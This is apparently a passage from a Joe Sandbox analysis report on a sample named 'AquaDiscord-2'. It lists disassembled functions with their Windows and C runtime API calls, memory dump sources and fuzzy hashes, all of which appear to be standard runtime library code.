Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 002a847b3c3b740eca40e5c9c44b83a4c1252b3044b795f468c6c99b1fa1dcb2
Instruction ID: 76f72c7b32d28c73103aa316c74637fba15b7a12b9e547d03cd3ac762f48a989
Opcode Fuzzy Hash: 002a847b3c3b740eca40e5c9c44b83a4c1252b3044b795f468c6c99b1fa1dcb2
Instruction Fuzzy Hash: CD71D472900209ABDF209E949C82FEF7BE9DF45710FA401A9F954B7281EB759CC18B90

Function 00B08576 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B085FC

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b258c23f8f5adf4b5b829db56bad2fb8a7efe0f2db3ca2ba46b92337591bc9f9
Instruction ID: b200c6c7624529dbb8f642269eca5d42bf3319bcfef39f0b48d84d043b5aa0b7
Opcode Fuzzy Hash: b258c23f8f5adf4b5b829db56bad2fb8a7efe0f2db3ca2ba46b92337591bc9f9
Instruction Fuzzy Hash: 1FB14772A003559FDB118F28CC81BAE7FE5EF55350F2981E5E985AB2C2DA74DE01C7A0

Function 00AFAB70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00AFABA7
___except_validate_context_record.LIBVCRUNTIME ref: 00AFABAF
_ValidateLocalCookies.LIBCMT ref: 00AFAC38
__IsNonwritableInCurrentImage.LIBCMT ref: 00AFAC63
_ValidateLocalCookies.LIBCMT ref: 00AFACB8

Strings

csm, xrefs: 00AFAC4D

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3ebc4bf872d69b71fda10cdcba23a7e60047a5fedda88edca0f75e48489dfe5b
Instruction ID: fb6ad181f5d02e6a630aa44203d67373f5f9f9455d94c5d2d986c9a4bf2a4bdf
Opcode Fuzzy Hash: 3ebc4bf872d69b71fda10cdcba23a7e60047a5fedda88edca0f75e48489dfe5b
Instruction Fuzzy Hash: 5B41A374A0021C9BCB10DFE8C884AEE7BB5AF15314F548195F9189B392C735AE02CF92

Function 00B06602 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,00B06711,00000000,00000000,00000000,00000000), ref: 00B066C3

Strings

ext-ms-, xrefs: 00B0666D
api-ms-, xrefs: 00B06659

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4a1beacfa795c5919e684d086448515e70245dd28bfde8aac04fce70c41fcf83
Instruction ID: 4a677b89f9c7847c04d8fcef529f25e7c1b49623d6bd1c410ee28ffd38e4a205
Opcode Fuzzy Hash: 4a1beacfa795c5919e684d086448515e70245dd28bfde8aac04fce70c41fcf83
Instruction Fuzzy Hash: 7C21E732A01215ABD7319B649C44ADA7FE8DB417B0F1502A0FD25A72D0EF31ED11C6D0

Function 00B12E5C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c08103a68c01aa590f0f77e7457cc9e900c3041370f441aa3dbbf0eeda4d87
Instruction ID: 213a3c20e7a820e38df6642c138cb051879c18ac5eff31a8ca3ab87eb43b0bdb
Opcode Fuzzy Hash: 98c08103a68c01aa590f0f77e7457cc9e900c3041370f441aa3dbbf0eeda4d87
Instruction Fuzzy Hash: A3B11370A04249AFDB15DFA8C885BEE7FF1EF49700F9441D8E405A7292EB719E92CB50

Function 00B0442D Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B04424,00AFA93D,00AF9B94), ref: 00B0443B
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B04449
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B04462
SetLastError.KERNEL32(00000000,00B04424,00AFA93D,00AF9B94), ref: 00B044B4

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ad6ffbff5a36d3de9f682a7fc170742d135d9f1fc7d7c6286aee00a4f8a3ee37
Instruction ID: f465591a291b55a8200ef7bd17a2c7aad28961531b6013aa55d0e425cf012fdd
Opcode Fuzzy Hash: ad6ffbff5a36d3de9f682a7fc170742d135d9f1fc7d7c6286aee00a4f8a3ee37
Instruction Fuzzy Hash: FB0147B221A3126EF7393B79BCC5A6F2EC4EB9177572002B9FA11522F2EF514C425380

Function 00B04D0C Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B04E2B
CallUnexpected.LIBVCRUNTIME ref: 00B050A4

Strings

csm, xrefs: 00B04DB6
csm, xrefs: 00B04E62
csm, xrefs: 00B04D49

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 3126fa057f703c9550acbe18c13fbe1f947b9beec8b0cc918a924364b50356fc
Instruction ID: 382cb8e3033d6e93f218cc63b96781ccaf46da17462efce920fd4da573770520
Opcode Fuzzy Hash: 3126fa057f703c9550acbe18c13fbe1f947b9beec8b0cc918a924364b50356fc
Instruction Fuzzy Hash: E9B15AB1800209EFCF28DFA4C9819AEBBF5FF14310B1445EAEA156B692D731DA51CF91

Function 00AFF1B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00B15644,000000FF,?,00AFF279,00AFF160,?,00AFF315,00000000), ref: 00AFF1ED
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AFF1FF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00B15644,000000FF,?,00AFF279,00AFF160,?,00AFF315,00000000), ref: 00AFF221

Strings

mscoree.dll, xrefs: 00AFF1E6
CorExitProcess, xrefs: 00AFF1F7

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9e2d61e13461fb4397d7e99ec1613535c650c9a082faaf5e63cffc420cb97ada
Instruction ID: bef586201695dd0bc749766bf388aa54035ab419f69b0568bcee6d4715e3a696
Opcode Fuzzy Hash: 9e2d61e13461fb4397d7e99ec1613535c650c9a082faaf5e63cffc420cb97ada
Instruction Fuzzy Hash: 2B01A231994619AFDB118F94DC09FFEBBF8FB04B11F404625F821A22E0DB749900CA94

Function 00B06DEA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B06E6F
__alloca_probe_16.LIBCMT ref: 00B06F38
__freea.LIBCMT ref: 00B06F9F

Part of subcall function 00B056B1: HeapAlloc.KERNEL32(00000000,00B07635,?,?,00B07635,00000220,?,?,?), ref: 00B056E3

__freea.LIBCMT ref: 00B06FB2
__freea.LIBCMT ref: 00B06FBF

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 96a9e5855576790a151e6be68607f2455f5c34f5dfc67e395efcf6872c004d08
Instruction ID: e94ea3bfbf5014c75ea09299e8bf93f34aa5c52b302f6235ddbbd9ea2f2f0319
Opcode Fuzzy Hash: 96a9e5855576790a151e6be68607f2455f5c34f5dfc67e395efcf6872c004d08
Instruction Fuzzy Hash: FB519372600207AFEB219EA1ED81EBBBFE9DF54750F1501A9FD04D6291EB31DC60D6A0

Function 00AF77B2 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF77B9
std::_Lockit::_Lockit.LIBCPMT ref: 00AF77C4
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF7832

Part of subcall function 00AF76AF: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AF76C7

std::locale::_Setgloballocale.LIBCPMT ref: 00AF77DF
_Yarn.LIBCPMT ref: 00AF77F5

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: c7c29074cab5524af70d5ab021fc11d53fbb774ae87d184f5868412de22c2e1b
Instruction ID: 44b0e4060de4082361ca372aac8ae43fe9ecc48c7dde50353a9bc09a4a1b15f7
Opcode Fuzzy Hash: c7c29074cab5524af70d5ab021fc11d53fbb774ae87d184f5868412de22c2e1b
Instruction Fuzzy Hash: 8201DF75A001288FCB09EFA4C9455BD7BA1FFE4390B544049FA1257381CF34AE82CBC1

Function 00B0F670 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00B0F70C,00000000,?,00B21E20,?,?,?,00B0F643,00000004,InitializeCriticalSectionEx,00B190D4,00B190DC), ref: 00B0F67D
GetLastError.KERNEL32(?,00B0F70C,00000000,?,00B21E20,?,?,?,00B0F643,00000004,InitializeCriticalSectionEx,00B190D4,00B190DC,00000000,?,00B0535C), ref: 00B0F687
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00B0F6AF

Strings

api-ms-, xrefs: 00B0F694

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: fabb5d5330efa8095e8f22c6a51e4250ab4c255adae3351d6e41970bac349878
Instruction ID: 49b09f0a3350a0250f59da9ec9532a3ab1702894e4632ccb850bf16cd7ba8a66
Opcode Fuzzy Hash: fabb5d5330efa8095e8f22c6a51e4250ab4c255adae3351d6e41970bac349878
Instruction Fuzzy Hash: 2CE01231740209B6EB301BA0DC0ABA93F99DB50BD0F544070FD1CA84F1DB62E8909544

Function 00B0D70E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00B0D771

Part of subcall function 00B057C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00B06F95,?,00000000,-00000008), ref: 00B05822

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B0D9C3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B0DA09
GetLastError.KERNEL32 ref: 00B0DAAC

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 26439a23073797621ddbb2b86d8e619891e7f9bafb458ff48d1f62c041eb2cf7
Instruction ID: 7edbf8b0c0502437228be2dab370089564d7a5189b1b1f1311a399b3922e9019
Opcode Fuzzy Hash: 26439a23073797621ddbb2b86d8e619891e7f9bafb458ff48d1f62c041eb2cf7
Instruction Fuzzy Hash: 4AD15A75E042589FDB15CFE8C880AEDBBF5FF48314F2441AAE556EB292D630A942CB50

Function 00B04A33 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B04AFA
___AdjustPointer.LIBCMT ref: 00B04B1D
___AdjustPointer.LIBCMT ref: 00B04BB9

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2d2da4bf046a934360c0974aa104be04f482c53fc138b09c2f7dbd720afbb5fb
Instruction ID: 58bd2319bd6077c075deca4ee512f4250ec2a9a0ff370083ca2a0f0de05c304c
Opcode Fuzzy Hash: 2d2da4bf046a934360c0974aa104be04f482c53fc138b09c2f7dbd720afbb5fb
Instruction Fuzzy Hash: 8B51D1F2604606AFDB288F54D981BBABBE4EF54311F2445ADEB09876D0E731EC40CB94

Function 00B0B536 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00B057C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00B06F95,?,00000000,-00000008), ref: 00B05822

GetLastError.KERNEL32 ref: 00B0B59A
__dosmaperr.LIBCMT ref: 00B0B5A1
GetLastError.KERNEL32 ref: 00B0B5DB
__dosmaperr.LIBCMT ref: 00B0B5E2

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 75dbb3cb892ee9e1102de9201b21fb3058a1bcbd5d327ce6e3f3c78f376944ea
Instruction ID: 958ae5f1893c1ddd581a724669b0f7c90760220ec344b2143b6e26b9dfcec64d
Opcode Fuzzy Hash: 75dbb3cb892ee9e1102de9201b21fb3058a1bcbd5d327ce6e3f3c78f376944ea
Instruction Fuzzy Hash: D521807160020AEFDB20AF66CC91C6BBFE9EF1436471085E8F929975D1EB30ED408B90

Function 00AFC9D2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6835e124cc65ba7e5d80b3c2c18035bbda44cd8e1453c64de71ce3cf316bb55b
Instruction ID: 916b174fe6189bd1b685ae301bc70afe9defcf428cc7d4ec3a4279af3c0e8472
Opcode Fuzzy Hash: 6835e124cc65ba7e5d80b3c2c18035bbda44cd8e1453c64de71ce3cf316bb55b
Instruction Fuzzy Hash: EA21507160020EAFDB20FFF69E8197A7BAAAF443F47104514FA19D7550DB30EC509790

Function 00B0C92E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B0C936

Part of subcall function 00B057C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00B06F95,?,00000000,-00000008), ref: 00B05822

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B0C96E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B0C98E

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5b8e3effa3091e6ecb34226a8a378f1bacde558401d5af3eab4e0c87717086ac
Instruction ID: c73987766b401bf1abbf4a480d231e53157856eb2db50644ecd2d27ff188fa3b
Opcode Fuzzy Hash: 5b8e3effa3091e6ecb34226a8a378f1bacde558401d5af3eab4e0c87717086ac
Instruction Fuzzy Hash: E61161B2501619BFE62627B55CC9CBF6EDCDE853D47A046A9F80292181FF21CD0099B5

Function 00B14450 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000), ref: 00B14467
GetLastError.KERNEL32(?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000,?,?,?,00B0D446,?), ref: 00B14473

Part of subcall function 00B144D0: CloseHandle.KERNEL32(FFFFFFFE,00B14483,?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000,?,?), ref: 00B144E0

___initconout.LIBCMT ref: 00B14483

Part of subcall function 00B144A5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B14441,00B1398C,?,?,00B0DB00,?,00000000,00000000,?), ref: 00B144B8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000,?), ref: 00B14498

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fe0be8fdacf1e513f48f815fbfc397f627ebb7a2ddcc82949d6968ae1e2fdfa1
Instruction ID: 3881f1f9b08458202e988c9c8ec0a829bb682476ac67ed7b5c5875da3e5a9419
Opcode Fuzzy Hash: fe0be8fdacf1e513f48f815fbfc397f627ebb7a2ddcc82949d6968ae1e2fdfa1
Instruction Fuzzy Hash: 49F03036400218BBCF221F95EC48AD93F66FB493F0F918450FE1996230CF32C8609B90

Function 00AFA2F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00AFA307
GetCurrentThreadId.KERNEL32 ref: 00AFA316
GetCurrentProcessId.KERNEL32 ref: 00AFA31F
QueryPerformanceCounter.KERNEL32(?), ref: 00AFA32C

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
